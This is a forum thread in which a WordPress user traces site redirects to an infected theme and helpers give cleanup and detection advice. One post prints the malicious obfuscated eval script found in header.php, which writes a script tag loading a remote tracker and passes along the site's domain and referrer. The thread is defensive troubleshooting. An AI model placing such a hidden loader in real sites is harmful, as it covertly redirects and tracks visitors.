Solved My Website links to Malicious sites

[DextrousDave]

Good Day

I just uploaded a Wordpress theme onto my Website webserver. Now I tested this theme on my home server before with no problems.

Since it has been on the webserver (at a trusted hosting company), I get url redirects to malicious sites when I am browsing though my website.

Here is my site: http://evolutionof4.co.za

The malicious sites it links to are: themeforest.net, carolini.net amongst others.

I have scanned all my files on the webserver for malware (with avast), I have also scanned my site with Sucuri Security, but it did not pick up anything.

I don't think it is malware on MY PC, since I got the same problem from another PC on my LAN...

Any help?

Thank you

 

[Anak]

It is my understanding that Wordpress can be vulnerable to malicious code, have you seen these?

https://wordpress.org/support/topic/blog-is-redirecting-to-malcious-sites

Some really good information here: FAQ My site was hacked « WordPress Codex

Do a search for: Wordpress Website links to Malicious sites

 

[gied]

1. Investigate if there is .htaccess file and if it is infected or not.
2. Investigate if there is weird code in index.php or oother php scrips. You might wish to extract default Wordpress 3.5 on top.
3. Disable your theme and plugins one by one and see if problems continue.

 

[DextrousDave]

Thank you guys. The suggestions helped. Appreciate!

I think the following code is producing the problem. It was in my header.php page:

<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>[/B]

 

[Anak]

You are welcome, glad we could help!

Are you saying the whole section of code looks suspicious because it is code you do not remember using?

I am not very knowledgeable about Wordpress code, but these two areas do:
{return c.toString(a)};if(!''.replace(/^/,String)) and |scr|ipt|.

Return, if, then replace, and why would you place a bar between words?

Maybe gied could explain?

Have you been able to re-work the code and test it?

 

[gied]

This is obscured in JS url that loads some content. Typically, these things are used for loading malicious links and rarely have valid use.
as header.php file is infected, one should think how it could happen:
1. Someone broke in ftp account (scan your PC with second opinion scanner like hitman pro, do not use FTP in non-secure locations as passwords can be sniffed and you should change them)
2. Hosting provider screwed up
3. There is vulnerability in plugin, theme.
4. The theme was infected before installation.

 

[Anak]

gied, how does a Wordpress user know what code is malevolent?

 

[Layback Bear]

This little program may help.
Download AdwCleaner 2.107 Free - Adware and toolbar remover - Softpedia

http://www.bleepingcomputer.com/download/adwcleaner/dl/125/

 

[DextrousDave]

Thank you so much guys. Really appreciate the tips and helpful links.

@gied:

This is obscured in JS url that loads some content. Typically, these things are used for loading malicious links and rarely have valid use.
as header.php file is infected, one should think how it could happen:
1. Someone broke in ftp account (scan your PC with second opinion scanner like hitman pro, do not use FTP in non-secure locations as passwords can be sniffed and you should change them)
2. Hosting provider screwed up
3. There is vulnerability in plugin, theme.
4. The theme was infected before installation.

I doubt if anyone hacked my ftp account. I use wireshark myself and I know how easy it is to sniff unencrypted credentials. I think the theme I used (Themeforest.net) contained the code from the start, since the files were there from the start I suspect...Also, some of the sites it redirects to are the theme creator's site - they just want exposure, traffic and SEO backlinks to their site...

Thank you for your expert opinion

 

[gied]

Anak: Obscure JS in place that does not make sense is by default malicious. So is for example code, that tries to determine referer and/or redirects to other website. There are no very good tools to detect the code, but one has to inspect it for something strange. Also, one can compare files one by one with the ones of clean install. The real problem is with unsafe plugins though. Or malicious theme creators.
DexterousDave:
If this is theme creator sites, then yeah. It is bad that Themeforest distributes malicious themes

 

[Anak]

Thank you so much guys. Really appreciate the tips and helpful links.

I think the theme I used (Themeforest.net) contained the code from the start, since the files were there from the start I suspect...Also, some of the sites it redirects to are the theme creator's site - they just want exposure, traffic and SEO backlinks to their site...

Thank you for your expert opinion

IMHO; It is nice when experienced users can create templates, themes or programming to help others, but to offer something that has a capability to produce an undesired affect without full disclosure is not nice, and just, plain, wrong.

Anak: Obscure JS in place that does not make sense is by default malicious. So is for example code, that tries to determine referer and/or redirects to other website. There are no very good tools to detect the code, but one has to inspect it for something strange. Also, one can compare files one by one with the ones of clean install. The real problem is with unsafe plugins though. Or malicious theme creators.
DexterousDave:
If this is theme creator sites, then yeah. It is bad that Themeforest distributes malicious themes

Thank you for explaining the detection process.

Would Layback Bear's link to AdwCleaner be a good start?

 

[gied]

Anak : not in this case. It is for adware/plugin infections of PC/Browser , not website infection.

 

[Anak]

Okay, thank you.

 

[Anak]

I wanted to make sure everyone had a chance to see this, that is why I posted again instead of an edit.

Go to: https://www.google.com/safebrowsing/diagnostic?site=themeforest.net, and see google's report. :shock:

 

[DextrousDave]

thank you for the valuable support and expert opinions. Appreciate. It is definitely a fraudulent theme. However, I was able to detect the malicious code since my website does not redirect anymore, and there are no signs of the code in the loading process or DOM of the website.

Thank you

 

[Layback Bear]

Just a question. Could that bad website left a little free goodie on one of anak's browsers or any place in his computer?

 

[Anak]

Layback, why did you ask that?

 

[Layback Bear]

The reason I asked is when a website no mater who website is infected could it transfer the infection to the visitor of that website. No mater who the visitor is or is not. Or in a simpler way; if a website is infected is it possible to get infected as a visitor even if one doesn't tick on anything on that site. Just curious and thought that you or gied could solve my curiosity. If I upset anybody I'm sorry. I will go away and not bother again.

 

[gied]

Layback Bear: it is possible, and trojan infection is likely in such cases.
However, if you get blocked access to website by your antivirus, there are poor chances to be infected. Never hurts to scan with second opinion scanners like hitman pro or similar.
However, it is not always the case. For example, the infected pages might be used for just promoting something illegal, or linking to some downloads (but not using exploit packs).

 

[Layback Bear]

Thanks gied
Have a nice day.